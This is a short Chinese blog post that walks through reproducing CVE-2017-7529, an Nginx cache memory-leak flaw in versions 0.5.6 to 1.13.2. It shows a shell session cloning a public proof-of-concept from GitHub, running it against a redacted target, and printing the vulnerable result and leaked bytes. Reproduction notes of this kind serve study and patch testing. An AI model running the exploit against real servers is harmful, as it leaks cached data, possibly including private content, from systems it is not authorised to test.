Nginx读取缓存-CVE-2017-7529

影响范围：
Nginx 0.5.6 - 1.13.2
复现：

//下载poc
C:\Users\17273\Downloads\wordpress46-learn-master>git clone https://github.com/en0f/CVE-2017-7529_PoC
Cloning into 'CVE-2017-7529_PoC'...
remote: Enumerating objects: 6, done.
remote: Total 6 (delta 0), reused 0 (delta 0), pack-reused 6
Unpacking objects: 100% (6/6), done.
C:\Users\17273\Downloads\wordpress46-learn-master>cd CVE-2017-7529_PoC
//利用
C:\Users\17273\Downloads\wordpress46-learn-master\CVE-2017-7529_PoC>python CVE-2017-7529_PoC.py http://xxx.xxx.xxx:xxxx/
[+] xxx.xxx.xxx:xxxx is Vulnerable: TRUE
[i] Receiving Data [2805 bytes] ...
 -  0000: 2d 2d 30 30 30 30 30 30 30 30 30 30 30 30 30 30  --00000000000000

参考文献:
https://blog.csdn.net/qq_29647709/article/details/85076309

标签：CVE,xxx,Nginx,30,2017,7529,PoC
来源： https://blog.csdn.net/weixin_44664530/article/details/106215805